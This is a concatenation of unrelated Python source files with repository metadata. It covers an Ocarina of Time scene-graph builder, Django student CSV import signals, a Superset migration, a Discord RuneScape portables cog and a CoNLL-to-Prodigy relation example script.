from __future__ import annotations import collections import math from typing import Any import networkx as nx import pandas as pd ACTOR_LABEL = 'actor' TRANSITION_ACTOR_LABEL = 'transition_actor' SPAWN_LABEL = 'spawn' NODE_TYPE_LABEL = 'node_type' SAVEW_EDGE_LABEL = 'save_warp' DEATHW_EDGE_LABEL = 'death_warp' SONGW_EDGE_LABEL = 'song_warp' BLUEW_EDGE_LABEL = 'blue_warp' EDGE_TYPE_LABEL = 'edge_type' CHILD_OW_SW = (52, 0) ADULT_OW_SW = (67, 7) # TODO: Handle requirements in SW _SW_SCENE_TO_TARGET_SCENES_AUX = { # Dungeons 0: [0], 1: [1], 2: [2], 3: [3], 4: [4], 5: [5], 6: [6], 7: [7], 8: [8], 9: [9], 10: [10], 11: [11], 12: [12], 13: [13], # Boss Rooms 17: [0], 18: [1], 19: [2], 20: [3], 21: [4], 22: [5], 23: [6], 24: [7], 25: [10], # Post Ganondorf 14: [10], 15: [10], 26: [10], 79: [10], # Link's House 52: [52], } SW_SCENE_TO_TARGET_SCENES = { i: [CHILD_OW_SW[0], ADULT_OW_SW[0]] for i in range(101) } SW_SCENE_TO_TARGET_SCENES.update(_SW_SCENE_TO_TARGET_SCENES_AUX) SCENE_TRANSITION_LIST = ( # Kok to Link's House ('s-459', 's-162'), # Link's House to Kok ('s-162', 's-459'), # Kok to Kok Shop ('s-460', 's-151'), # Kok Shop to Kok ('s-151', 's-460'), # Kok to Twins' ('s-464', 's-144'), # Twins' to Kok ('s-144', 's-464'), # Kak to Saria's ('s-466', 's-146'), # Saria's to Kak ('s-146', 's-466'), # Kok to Mido's ('s-465', 's-145'), # Mido's to Kok ('s-145', 's-465'), # Kok to Lost Woods (upper) ('s-462', 's-587'), # Lost Woods (upper) to Kok ('s-587', 's-462'), # Kok to Know-It-All's ('s-461', 's-143'), # Know-It-All's to Kok ('s-143', 's-461'), # Kok to Lost Woods (Bridge) ('s-458', 's-596'), # Lost Woods (Bridge) to Kok ('s-596', 's-458'), # Kok to Deku Tree ('s-457', 's-0'), # Deku Tree to Kok ('s-0', 's-457'), # Deku Tree to Gohma's Lair ('s-1', 's-61'), # Gohma's Lair to Deku Tree ('s-61', 's-1'), # Lost Woods to Hyrule Field ('s-595', 's-281'), # Hyrule Field to Lost Woods ('s-281', 's-595'), # Hyrule Field to Gerudo Valley ('s-283', 's-574'), # Gerudo Valley to Hyrule Field ('s-574', 's-283'), # Gerudo Valley to Gerudo's Fortress ('s-577', 's-627'), # Gerudo's Fortress to Gerudo Valley ('s-627', 's-577'), # Gerudo's Fortress to Haunted Wasteland ('s-642', 's-701'), # Haunted Wasteland to Gerudo's Fortress ('s-701', 's-642'), # Haunted Wasteland to Desert Colossus ('s-702', 's-608'), # Desert Colossus to Haunted Wasteland ('s-608', 's-702'), # Ice cavern to Zora's Fountain s2 ('s-21', 's-560'), # Zora's Fountain s2 to Ice Cavern ('s-560', 's-21'), # Windmill to Kak s0 ('s-260', 's-349'), # Kak s0 to Windmill ('s-349', 's-260'), # ## Transitions for single component with warps ## # GTG to GF s2 ('s-27', 's-659'), # GF s2 to GTG ('s-659', 's-27'), # Ganon's Castle to Ganon's Tower ('s-42', 's-24'), # Ganon's Tower to Ganon's Castle ('s-24', 's-42'), ) SAMPLE_TRANSITION_LIST = ( # Kok to Link's House ('s-459', 's-162'), # Link's House to Kok ('s-162', 's-459'), # Kok to Kok Shop ('s-460', 's-151'), # Kok Shop to Kok ('s-151', 's-460'), # Kok to Twins' ('s-464', 's-144'), # Twins' to Kok ('s-144', 's-464'), # Kak to Saria's ('s-466', 's-146'), # Saria's to Kak ('s-146', 's-466'), # Kok to Mido's ('s-465', 's-145'), # Mido's to Kok ('s-145', 's-465'), # Kok to Lost Woods (upper) ('s-462', 's-587'), # Lost Woods (upper) to Kok ('s-587', 's-462'), # Kok to Know-It-All's ('s-461', 's-143'), # Know-It-All's to Kok ('s-143', 's-461'), # Kok to Lost Woods (Bridge) ('s-458', 's-596'), # Lost Woods (Bridge) to Kok ('s-596', 's-458'), # Kok to Deku Tree ('s-457', 's-0'), # Deku Tree to Kok ('s-0', 's-457'), # Deku Tree to Gohma's Lair ('s-1', 's-61'), # Gohma's Lair to Deku Tree ('s-61', 's-1'), # Gohma's Blue Warp to Kok ('2633', 's-467'), ) BLUE_WARP_EDGE_LIST = ( # Queen Gohma to Kok ('2633', 's-467'), # King Dodongo to DMT ('2643', 's-713'), # Barinade to ZF ('2650', 's-545'), # Phantom Ganon to ('2657', 's-510'), # Volvagia to DMC ('2659', 's-735'), # Morpha to LH ('2660', 's-531'), # Twinrova to DC ('2731', 's-624'), # Bongo Bongo to Graveyard ('2741', 's-434'), ) # TODO: Add requirements SONG_WARP_DESTINATION_LIST = [ # Minuet 's-510', # Buleru 's-735', # Serenade 's-531', # Requiem 's-624', # Nocturne 's-434', # Prelude 's-230' ] NO_WARP_SONGS_SCENES = { 11, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 66, 68, 69, 70, 71, 73, 74, 75, 78, 79, } def build_room_actors_components(actors_df: pd.DataFrame, scene: int, setup: int, is_cutscene: bool, node_type: str) -> nx.MultiDiGraph: """ Build a graph with one component for every room in `actors_df` that has at least one actor. Each individual component will form a complete graph. Additional data in `actors_df` will be added to the nodes as attributes. Args: actors_df: `pandas.DataFrame` containing the actor data scene: scene to build setup: setup to pick from scene setups is_cutscene: whether to pick cutscene setups node_type: label to set the `NODE_TYPE_LABEL` attribute to. Must be in ('ACTOR_LABEL', SPAWN_LABEL) (see module constants). Returns: A new networkx.MultiDiGraph object resembling the given actors. """ if node_type not in (ACTOR_LABEL, SPAWN_LABEL): raise ValueError(f"{NODE_TYPE_LABEL} is {node_type}," f"expected one of: {(ACTOR_LABEL, SPAWN_LABEL)} (see vars of ogb)") scene_actors_df = actors_df.loc[(actors_df['scene'] == scene) & (actors_df['setup'] == setup) & (actors_df['is_cutscene'] == is_cutscene)] if len(scene_actors_df.index) == 0: return nx.MultiDiGraph() rooms = {x['room'] for _, x in scene_actors_df.iterrows()} room_actors_dfs = [scene_actors_df.loc[(scene_actors_df['room']) == r] for r in rooms] g_rooms = [nx.complete_graph(x.index, nx.MultiDiGraph) for x in room_actors_dfs] room_actors_dicts = [df.to_dict('index') for df in room_actors_dfs] for g_room, room_actor_dict in zip(g_rooms, room_actors_dicts): nx.set_node_attributes(g_room, room_actor_dict) nx.set_node_attributes(g_room, node_type, NODE_TYPE_LABEL) return nx.union_all(g_rooms) def build_transition_actors(transition_actors_df: pd.DataFrame, scene: int, setup: int, is_cutscene: bool) -> nx.MultiDiGraph: g_transit = nx.MultiDiGraph() scene_transit_df: pd.DataFrame = transition_actors_df.loc[(transition_actors_df['scene'] == scene) & (transition_actors_df['setup'] == setup) & (transition_actors_df['is_cutscene'] == is_cutscene)] if len(scene_transit_df.index) == 0: return g_transit scene_transit_dict = scene_transit_df.to_dict('index') g_transit.add_nodes_from([(k, v) for k, v in scene_transit_dict.items()]) nodes = g_transit.nodes(data=True) # Connect transition nodes with each other if they are adjacent to the same room for it, it_data in nodes: for other, other_data in nodes: if it != other: it_targets = {it_data['exiting_room'], it_data['entering_room']} other_targets = {other_data['exiting_room'], other_data['entering_room']} if not it_targets.isdisjoint(other_targets): g_transit.add_edge(it, other) nx.set_node_attributes(g_transit, TRANSITION_ACTOR_LABEL, NODE_TYPE_LABEL) return g_transit def build_scene_graph(spawns_df: pd.DataFrame, actors_df: pd.DataFrame, transit_actors_df: pd.DataFrame, scene: int, setup: int, is_cutscene: bool = False, rename: tuple[str, str, str] = ('s-', '', 't-')) -> nx.MultiDiGraph: """ Builds the entire scene as a `networkx.MultiDiGraph` . Includes room actors, spawns and transition actors. Spawns and room actors will be nodes of one complete graph per room, transition actors will be connected with all actors in adjacent rooms, including other transition actors. Other data in DataField objects will be added as node attributes. `NODE_TYPE_LABEL` labeled attribute will be given to all edges (see module constants); `ACTOR_LABEL` to room actors, `SPAWN_LABEL` to spawns and `TRANSITION_ACTOR_LABEL` to transition actors. Args: spawns_df: pandas.DataField with spawn data actors_df: pandas.DataField with room actor data transit_actors_df: pandas.DataField with transition actor data scene: scene to build setup: setup to pick from scene setups is_cutscene: whether to pick cutscene setups rename: renaming tuple (spawns_rename, actors_rename, transit_rename) (see networkx.union() ) Returns: A networkx.MultiDiGraph() with all room actors, transition actors and spawns as nodes. """ g_room_actors = build_room_actors_components(actors_df, scene, setup, is_cutscene, ACTOR_LABEL) g_spawns = build_room_actors_components(spawns_df, scene, setup, is_cutscene, SPAWN_LABEL) g_transit_actors = build_transition_actors(transit_actors_df, scene, setup, is_cutscene) g_spawns_and_actors = union_spawns_and_actors(g_spawns, g_room_actors, rename[:2]) g_scene = union_actors_and_transition_actors(g_spawns_and_actors, g_transit_actors, node_rename=('', rename[2])) return g_scene def union_spawns_and_actors(g_spawns: nx.MultiDiGraph, g_actors: nx.MultiDiGraph, rename: tuple[str, str] = ('s-', ''), set_node_type_label: bool = True) -> nx.MultiDiGraph: if not g_spawns and not g_actors: return nx.MultiDiGraph() if rename[0] == rename[1]: raise ValueError(f"{rename = }; elements must differ do distinguish them in union graph.") if set_node_type_label: nx.set_node_attributes(g_spawns, SPAWN_LABEL, NODE_TYPE_LABEL) nx.set_node_attributes(g_actors, ACTOR_LABEL, NODE_TYPE_LABEL) spawns = g_spawns.nodes(data='room') actors = g_actors.nodes(data='room') renamed_spawns = [(rename[0] + str(s), r) for s, r in spawns] renamed_actors = [(rename[1] + str(a), r) for a, r in actors] g: nx.MultiDiGraph = nx.union(g_spawns, g_actors, rename) for spawn, s_room in renamed_spawns: for actor, a_room in renamed_actors: if s_room == a_room: g.add_edge(spawn, actor) g.add_edge(actor, spawn) return g def union_actors_and_transition_actors(g_actors: nx.MultiDiGraph, g_transition_actors: nx.MultiDiGraph, disjoint: bool = False, graph_rename: str = None, node_rename: tuple[str, str] = None, connect_transition_actors: bool = True, set_node_type_label: bool = False) -> nx.MultiDiGraph: """ Union actors graph with transition actors graph and connecting actors with transitions. With `disjoint=True` : note the relabeling from `0` to `(len(g_actors) + len(g_transition_actors) -1)`. Also note that this function will assign an attribute `'node_type'` to the nodes of both input graphs in-place, `'actor'` or `'transition_actor'` respectively. Args: g_actors: networkx.MultiDiGraph containing the actors g_transition_actors: networkx.MultiDiGraph containing the transition actors disjoint: Whether or not to do a disjoint union (see networkx.union() and networkx.disjoint_union() ) graph_rename: Name of the resulting new graph when using non-disjoint union (see networkx.union() ) node_rename: Renaming tuple when using non-disjoint union (see networkx.union() ) connect_transition_actors: Whether or not to connect actors with transition actors in the new graph set_node_type_label: Whether or not to set NODE_TYPE_LABEL node attribute to ACTOR_LABEL and TRANSITION_ACTOR_LABEL (see module constants) Returns: New graph with connected actors and transition actors """ if not g_actors and not g_transition_actors: return nx.MultiDiGraph() if set_node_type_label: nx.set_node_attributes(g_actors, ACTOR_LABEL, NODE_TYPE_LABEL) nx.set_node_attributes(g_transition_actors, TRANSITION_ACTOR_LABEL, NODE_TYPE_LABEL) if disjoint: g: nx.MultiDiGraph = nx.disjoint_union(g_actors, g_transition_actors) else: g: nx.MultiDiGraph = nx.union(g_actors, g_transition_actors, rename=node_rename, name=graph_rename) if connect_transition_actors: transit_nodes = [] actor_nodes = [] for n, data in g.nodes(data=True): node_type = data[NODE_TYPE_LABEL] if node_type in (ACTOR_LABEL, SPAWN_LABEL): actor_nodes.append((n, data)) elif node_type == TRANSITION_ACTOR_LABEL: transit_nodes.append((n, data)) transit_edge_list = [] for t, t_data in transit_nodes: for a, a_data in actor_nodes: if a_data['room'] in (t_data['entering_room'], t_data['exiting_room']): transit_edge_list.append((a, t)) transit_edge_list.append((t, a)) g.add_edges_from(transit_edge_list) return g def get_telling_unique_node_label(node_dict: dict) -> str: node_type = str(node_dict[NODE_TYPE_LABEL]) if NODE_TYPE_LABEL in node_dict else '' scene = f"s{str(node_dict['scene'])}" room = f"r{str(node_dict['room'])}" if 'room' in node_dict else '' setup = f"setup{str(node_dict['setup'])}" is_cutscene = 'cutscene' if node_dict['is_cutscene'] else '' idx = f"idx{str(node_dict['idx'])}" return f"{node_type}{scene}{room}{setup}{is_cutscene}{idx}" def get_pos_dict(nodes_container: pd.DataFrame | nx.Graph, mirrored_over_x_axis=False) -> dict[Any, tuple[int, int]]: try: nodes = nodes_container.iterrows() except AttributeError: try: nodes = nodes_container.nodes(data=True) except AttributeError: raise TypeError("Container is neither a pandas.DataFrame nor a networkx.Graph.") return {k: (v['pos_x'], v['pos_z'] if not mirrored_over_x_axis else -v['pos_z']) for k, v in nodes} def get_normalized_pos_dict(nodes_container: pd.DataFrame | nx.Graph, mirrored_over_x_axis=False, preserve_ratio=True) -> dict[Any, tuple[int, int]]: res = get_pos_dict(nodes_container, mirrored_over_x_axis) # TODO: Maybe work with tuples here? pos = [(x, y) for _, (x, y) in res.items()] max_x = max(x for x, _ in pos) min_x = min(x for x, _ in pos) span_x = max_x - min_x max_y = max(y for _, y in pos) min_y = min(y for _, y in pos) span_y = max_y - min_y scale_x = (span_x / max(span_x, span_y)) if span_x and preserve_ratio else 1 scale_y = (span_y / max(span_x, span_y)) if span_y and preserve_ratio else 1 return {k: ((vx - min_x) / (span_x if span_x else 1) * scale_x, (vy - min_y) / (span_y if span_y else 1) * scale_y) for k, (vx, vy) in res.items()} def build_scenes( spawns_df: pd.DataFrame, actors_df: pd.DataFrame, transit_actors_df: pd.DataFrame, scenes: list[int], setups: list[int], cutscenes_included: list[bool], scene_transition_list: list[tuple] = None) -> tuple[nx.MultiDiGraph, dict]: g_scenes = [g_scene for sc in scenes for is_cutscene in cutscenes_included for se in setups if (g_scene := build_scene_graph(spawns_df, actors_df, transit_actors_df, sc, se, is_cutscene))] pos_dicts = [get_normalized_pos_dict(g_sc, True) for g_sc in g_scenes] # Define how many scene setups to put in each row and column rows = math.ceil(len(g_scenes) ** 0.5) # Compute coords for orderly lines for i, pos_dict in enumerate(pos_dicts): pos_dicts[i] = {k: ((x + ((i + rows) % rows) * 1.2), y + (((rows + i) // rows) - 1) * 1.2) for k, (x, y) in pos_dict.items()} g_union: nx.MultiDiGraph = nx.union_all(g_scenes) if scene_transition_list: g_union.add_edges_from(scene_transition_list) pos_res = {} for d in pos_dicts: pos_res |= d return g_union, pos_res def add_save_warps(g_scenes: nx.MultiDiGraph, sw_duration: float = None) -> nx.MultiDiGraph: if not g_scenes: return nx.MultiDiGraph() g: nx.MultiDiGraph = g_scenes.copy() # TODO: Handle partial game graphs; add requirements (age) nodes = g.nodes(data=True) d = {EDGE_TYPE_LABEL: SAVEW_EDGE_LABEL} targets = {item for sublist in SW_SCENE_TO_TARGET_SCENES.values() for item in sublist} sw_scene_to_spawn = {s: n for n, data in nodes if ((s := data['scene']) in targets and data[NODE_TYPE_LABEL] == SPAWN_LABEL and data['idx'] == (0 if s != ADULT_OW_SW[0] else ADULT_OW_SW[1]))} for n, data in nodes: if (s := data['scene']) in SW_SCENE_TO_TARGET_SCENES: for target in SW_SCENE_TO_TARGET_SCENES[s]: if sw_duration: g.add_edge(n, sw_scene_to_spawn[target], **d, weight=sw_duration) else: g.add_edge(n, sw_scene_to_spawn[target], **d) return g def add_death_warps(g_scenes: nx.MultiDiGraph, dw_duration: float = None) -> nx.MultiDiGraph: if not g_scenes: return nx.MultiDiGraph() g: nx.MultiDiGraph = g_scenes.copy() # TODO: Add requirements, Handle Boss rooms better nodes = g.nodes(data=True) d = {EDGE_TYPE_LABEL: DEATHW_EDGE_LABEL} spawn_dict = collections.defaultdict(list) node_dict = collections.defaultdict(list) # Add nodes to spawn and node pools by scene, cutscene and setup for n, data in nodes: key = (data['scene'], data['is_cutscene'], data['setup']) node_dict[key].append(n) if data[NODE_TYPE_LABEL] == SPAWN_LABEL: spawn_dict[key].append(n) # Connect nodes with spawns of equally keyed pool for k, nodes in node_dict.items(): for node in nodes: for spawn in spawn_dict[k]: if dw_duration: g.add_edge(node, spawn, **d, weight=dw_duration) else: g.add_edge(node, spawn, **d) return g def add_song_warps(g_scenes: nx.MultiDiGraph, sw_duration: float = None) -> nx.MultiDiGraph: if not g_scenes: return nx.MultiDiGraph() g: nx.MultiDiGraph = g_scenes.copy() # TODO: Handle partial graphs; add requirements nodes = g.nodes(data=True) d = {EDGE_TYPE_LABEL: SONGW_EDGE_LABEL} for n, data in nodes: if data['scene'] not in NO_WARP_SONGS_SCENES: for dest in SONG_WARP_DESTINATION_LIST: if sw_duration is not None: g.add_edge(n, dest, **d, weight=sw_duration) else: g.add_edge(n, dest, **d) return g
31.959375
117
0.596803
79593336303ce0193e69555864ca3b0366c081a3
2,441
py
Python
apps/students/signals.py
Daniel-TheProgrammer/DSchoo_With_Django
5f5d7872230a7213307e1cbeb357133eec5df381
[ "MIT" ]
4
2021-07-19T09:55:49.000Z
2021-08-06T06:33:00.000Z
apps/students/signals.py
ronnykarani/Django-sch-manager
54140cc8a6d230a6fe9c6df32137e36f63164f30
[ "MIT" ]
null
null
null
apps/students/signals.py
ronnykarani/Django-sch-manager
54140cc8a6d230a6fe9c6df32137e36f63164f30
[ "MIT" ]
2
2021-08-06T06:25:03.000Z
2021-08-06T06:33:05.000Z
import os import csv from io import StringIO from django.db.models.signals import post_save, post_delete from django.dispatch import receiver from apps.corecode.models import StudentClass from .models import Student, StudentBulkUpload @receiver(post_save, sender=StudentBulkUpload) def create_bulk_student(sender, created, instance, *args, **kwargs): if created: opened = StringIO(instance.csv_file.read().decode()) reading = csv.DictReader(opened, delimiter=',') students = [] for row in reading: if 'registration_number' in row and row['registration_number']: reg = row['registration_number'] surname = row['surname'] if 'surname' in row and row['surname'] else '' firstname = row['firstname'] if 'firstname' in row and row['firstname'] else '' other_names = row['other_names'] if 'other_names' in row and row['other_names'] else '' gender = (row['gender']).lower( ) if 'gender' in row and row['gender'] else '' phone = row['parent_number'] if 'parent_number' in row and row['parent_number'] else '' address = row['address'] if 'address' in row and row['address'] else '' current_class = row['current_class'] if 'current_class' in row and row['current_class'] else '' if current_class: theclass, kind = StudentClass.objects.get_or_create(name=current_class) check = Student.objects.filter(registration_number=reg).exists() if not check: students.append( Student( registration_number=reg, surname=surname, firstname=firstname, other_name=other_names, gender=gender, current_class=theclass, parent_mobile_number=phone, address=address, current_status='active' ) ) Student.objects.bulk_create(students) instance.csv_file.close() instance.delete() def _delete_file(path): """ Deletes file from filesystem. """ if os.path.isfile(path): os.remove(path) @receiver(post_delete, sender=StudentBulkUpload) def delete_csv_file(sender, instance, *args, **kwargs): if instance.csv_file: _delete_file(instance.csv_file.path) @receiver(post_delete, sender=Student) def delete_passport_on_delete(sender, instance, *args, **kwargs): if instance.passport: _delete_file(instance.passport.path)
36.984848
103
0.661204
795933885eb6ef4176b4e5386a263e18eb54a47b
2,246
py
Python
superset/migrations/versions/e99391269cc8_add_filter_set_to_db_storage_trac.py
stevetracvc/superset
77b7c73d827bcdc0149ee52933ba5f3ae1383cbf
[ "Apache-2.0" ]
null
null
null
superset/migrations/versions/e99391269cc8_add_filter_set_to_db_storage_trac.py
stevetracvc/superset
77b7c73d827bcdc0149ee52933ba5f3ae1383cbf
[ "Apache-2.0" ]
5
2022-03-28T03:35:40.000Z
2022-03-28T03:47:12.000Z
superset/migrations/versions/e99391269cc8_add_filter_set_to_db_storage_trac.py
stevetracvc/superset
77b7c73d827bcdc0149ee52933ba5f3ae1383cbf
[ "Apache-2.0" ]
null
null
null
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. """add_filter_set_to_db_storage_trac Revision ID: e99391269cc8 Revises: 3ebe0993c770 Create Date: 2021-09-25 19:31:56.452408 """ # revision identifiers, used by Alembic. revision = 'e99391269cc8' down_revision = '3ebe0993c770' from alembic import op import sqlalchemy as sa from sqlalchemy.dialects import postgresql def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.create_table('filter_set_trac', sa.Column('id', sa.INTEGER(), autoincrement=True, nullable=False), sa.Column('user_id', sa.INTEGER(), autoincrement=False, nullable=False), sa.Column('dashboard_id', sa.INTEGER(), autoincrement=False, nullable=False), sa.Column('title', sa.VARCHAR(length=500), autoincrement=False, nullable=False), sa.Column('short_url', sa.TEXT(), autoincrement=False, nullable=False), sa.Column('description', sa.TEXT(), autoincrement=False, nullable=False), sa.Column('dttm', postgresql.TIMESTAMP(), autoincrement=False, nullable=False), sa.Column('deleted', postgresql.TIMESTAMP(), autoincrement=False, nullable=True), sa.ForeignKeyConstraint(['user_id'], ['ab_user.id']), sa.ForeignKeyConstraint(['dashboard_id'], ['dashboards.id']), sa.PrimaryKeyConstraint("id"), ) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_table('filter_set_trac') # ### end Alembic commands ###
40.107143
87
0.72707
79593599a467897cac0382a7ae98b9a6719e8eb6
338
py
Python
tests/test_time.py
workforce-data-initiative/skills-utils
4cf9b7c2938984f34bbcc33d45482d23c52c7539
[ "MIT" ]
null
null
null
tests/test_time.py
workforce-data-initiative/skills-utils
4cf9b7c2938984f34bbcc33d45482d23c52c7539
[ "MIT" ]
12
2017-04-06T22:34:14.000Z
2018-02-11T20:08:32.000Z
tests/test_time.py
workforce-data-initiative/skills-utils
4cf9b7c2938984f34bbcc33d45482d23c52c7539
[ "MIT" ]
3
2018-03-05T18:36:26.000Z
2020-07-29T23:08:06.000Z
from skills_utils.time import dates_in_range from datetime import date def test_dates_in_range(): start = date(2012, 5, 29) end = date(2012, 6, 3) assert dates_in_range(start, end) == [ date(2012, 5, 29), date(2012, 5, 30), date(2012, 5, 31), date(2012, 6, 1), date(2012, 6, 2), ]
24.142857
44
0.573964
7959359ba9b0e8b60590168a8e7d4c7a85d9ed81
68
py
Python
client_start.py
Xyfuture/ChatRoom
e09ba6393de420489d27acf104a52014ebfc15ac
[ "MIT" ]
151
2017-12-27T16:21:41.000Z
2022-03-29T08:01:51.000Z
client_start.py
Jonnyyangyang/ChatRoom
c4bf1dea13a13083f8182d65dab897619758ca3d
[ "MIT" ]
3
2019-05-21T08:17:26.000Z
2021-04-08T06:58:18.000Z
client_start.py
Jonnyyangyang/ChatRoom
c4bf1dea13a13083f8182d65dab897619758ca3d
[ "MIT" ]
40
2018-03-19T08:36:49.000Z
2022-03-22T12:10:30.000Z
from client.client import Client client = Client() client.start()
11.333333
32
0.75
7959362fa87369666085f353e6cf87d2dedb39d1
4,554
py
Python
commands/portables.py
SeymourGx/RunePy
7c6b7a8d828d63e8f2e129e2ed6563387d98f6ce
[ "MIT" ]
null
null
null
commands/portables.py
SeymourGx/RunePy
7c6b7a8d828d63e8f2e129e2ed6563387d98f6ce
[ "MIT" ]
null
null
null
commands/portables.py
SeymourGx/RunePy
7c6b7a8d828d63e8f2e129e2ed6563387d98f6ce
[ "MIT" ]
1
2019-06-12T16:48:33.000Z
2019-06-12T16:48:33.000Z
from secret import GOOGLE_API_KEY from datetime import datetime from util.arguments import Arguments from discord.ext import commands from shlex import split from util.choices import enum from collections import namedtuple import util import re import urllib import discord class Portables: def __init__(self, bot): self.bot = bot @staticmethod def _format_data(json): date_format = '%d %b, %H:%M' struct = namedtuple('Portable', ['author', 'last_updated', 'locations', 'time']) # Populating portables time = datetime.strptime(json['values'][2][1], date_format).replace(year=datetime.utcnow().year) author = json['values'][2][3] last_updated = util.format_timedelta(datetime.utcnow() - time, short_names=True) locations = {'fletchers': {}, 'crafters': {}, 'braziers': {}, 'sawmills': {}, 'forges': {}, 'ranges': {}, 'wells': {}} # Finding all worlds for portables for i in range(7): worlds = locations[json['values'][0][i].strip().lower()] locs = json['values'][1][i] # Checking if no worlds if 'host needed' in locs.lower() or 'n/a' in locs.lower(): continue # Separating locations for location in re.findall('\d+.+?(?:CA|MG|PRIFF|PRIF|P|BU|SP|CW|BA)', locs.upper()): name = location.split(' ')[-1] name = re.sub('(?:PRIFF|PRIF)', 'P', name, re.I) worlds[name] = re.findall('\d+', location) return struct(author=author, locations=locations, last_updated=last_updated, time=time) @staticmethod async def _get_portables(http): """ Gets data from the google spreadsheet """ host = 'https://sheets.googleapis.com/v4/spreadsheets' sheet_id = '16Yp-eLHQtgY05q6WBYA2MDyvQPmZ4Yr3RHYiBCBj2Hc' sheet_name = 'Home' range = 'A16:G18' url = '%s/%s/values/%s!%s?key=%s' % (host, sheet_id, sheet_name, range, GOOGLE_API_KEY) # Getting cells async with http.get(url) as r: # Checking request if r.status != 200: return None return Portables._format_data(await r.json()) @commands.command(pass_context=True, aliases=['ports', 'port', 'portable'], description='Shows portable locations.') async def portables(self, ctx, *, msg: str = ''): ports = { 'fletcher': ('fletchers', 'fletch'), 'crafter': ('crafters', 'craft'), 'brazier': ('braziers', 'braz'), 'sawmill': ('saw', 'mill', 'sawmills'), 'forge': ('forges',), 'range': ('ranges', 'cook'), 'well': ('wells',) } parser = Arguments(allow_abbrev=False, prog='portables') parser.add_argument('portable', nargs='?', type=enum(**ports), help='Selects a type of portable to search for.') # Parsing arguments await self.bot.send_typing(ctx.message.channel) try: args = parser.parse_args(split(msg)) except SystemExit: await self.bot.say('```%s```' % parser.format_help()) return except Exception as e: await self.bot.say('```%s```' % str(e)) return # Get portables from google sheet portables = await Portables._get_portables(self.bot.whttp) if not portables: await self.bot.say('Google sheet could not be reached.') return # Building message e = discord.Embed() e.colour = 0x3572a7 e.timestamp = portables.time e.set_footer(text='Updated %s ago' % portables.last_updated) e.set_author(name=portables.author, icon_url='http://services.runescape.com/m=avatar-rs/%s/chat.png' % urllib.parse.quote(portables.author)) # Adding portable locations for portable, locations in portables.locations.items(): # Skipping if no the portable requested if args.portable and args.portable not in portable: continue # No location for portable if not locations: e.add_field(name=portable.capitalize(), value='N/A') continue value = '\n'.join(['%s %s' % (', '.join(worlds), location) for location, worlds in locations.items()]) e.add_field(name=portable.capitalize(), value=value) await self.bot.say(embed=e) def setup(bot): bot.add_cog(Portables(bot))
35.858268
126
0.581467
795937864f3be553608c7615310a02e02cb91c31
4,129
py
Python
conll_to_examples.py
spyysalo/prodigy-relation-annotation
f03acd4ad18c23e9966b71ea5d07f75c4806347b
[ "MIT" ]
null
null
null
conll_to_examples.py
spyysalo/prodigy-relation-annotation
f03acd4ad18c23e9966b71ea5d07f75c4806347b
[ "MIT" ]
null
null
null
conll_to_examples.py
spyysalo/prodigy-relation-annotation
f03acd4ad18c23e9966b71ea5d07f75c4806347b
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import sys import json import html import uuid import random from argparse import ArgumentParser from collections import namedtuple Mention = namedtuple('Mention', 'start end type text') # Entity type pairs to include in output TARGET_TYPE_PAIRS = [ ('PERSON', 'ORG'), ] def argparser(): ap = ArgumentParser() ap.add_argument('-s', '--seed', default=None, type=int, help='random seed') ap.add_argument('conll') return ap def read_conll(stream): words, tags = [], [] for ln, line in enumerate(stream, start=1): if line.startswith('#'): continue # comment elif line.isspace(): if words and tags: yield words, tags words, tags = [], [] else: word, tag = line.rstrip('\n').split('\t') words.append(word) tags.append(tag) if words and tags: yield words, tags def conll_to_mentions(words, tags): mentions, offset, start, label = [], 0, None, None sentence = ' '.join(words) for word, tag in zip(words, tags): if tag[0] in 'OB' and start is not None: # current ends end = offset-1 mentions.append(Mention(start, end, label, sentence[start:end])) start, label = None, None if tag[0] == 'B': start, label = offset, tag[2:] elif tag[0] == 'I': if start is None: # I without B, but nevermind start, label = offset, tag[2:] else: assert tag == 'O', 'unexpected tag {}'.format(tag) offset += len(word) + 1 # +1 for space if start is not None: # span open at sentence end end = offset-1 mentions.append(Mention(start, end, label, sentence[start:end])) return mentions def target_mention_pairs(words, tags): # for quick filter target_types = set() for t1, t2 in TARGET_TYPE_PAIRS: target_types.update({ t1, t2 }) mentions = conll_to_mentions(words, tags) # filter to reduce O(n^2) check target_mentions = [m for m in mentions if m.type in target_types] pairs = [] for m1 in target_mentions: if not any(m1.type == t1 for t1, t2 in TARGET_TYPE_PAIRS): continue for m2 in target_mentions: if m1 is m2: continue if any(m1.type == t1 and m2.type == t2 for t1, t2 in TARGET_TYPE_PAIRS): pairs.append((m1, m2)) return pairs def generate_id(words, mention1, mention2): text = ' '.join(words) return uuid.uuid3(uuid.NAMESPACE_DNS, f'{text}-{mention1}-{mention2}') def format_mention(m): return (f'<span class="mention {m.type}">{m.text}' + f'<span class="mention-type">{m.type}</span></span>') def format_html(words, mention1, mention2): text = ' '.join(words) if mention1.start < mention2.start: first, second = mention1, mention2 else: first, second = mention2, mention1 before = html.escape(text[:first.start]) between = html.escape(text[first.end:second.start]) after = html.escape(text[second.end:]) first_str = format_mention(first) second_str = format_mention(second) return f'{before}{first_str}{between}{second_str}{after}' def main(argv): args = argparser().parse_args(argv[1:]) random.seed(args.seed) with open(args.conll) as f: for words, tags in read_conll(f): pairs = target_mention_pairs(words, tags) if not pairs: continue # Take one pair per sentence m1, m2 = random.choice(pairs) id_ = generate_id(words, m1, m2) html = format_html(words, m1, m2) data = { 'html': html, 'meta': { 'source': str(id_), }, 'sentence': ' '.join(words), 'mention1': m1.text, 'mention2': m2.text, } print(json.dumps(data)) if __name__ == '__main__': sys.exit(main(sys.argv))
29.283688
79
0.566239
795938870cfce0009337bfbfbebda0e193310133
1,832
py
Python
tests/h/emails/test_test.py
Manuelinux/kubeh
a549f0d1c09619843290f9b78bce7668ed90853a
[ "BSD-2-Clause" ]
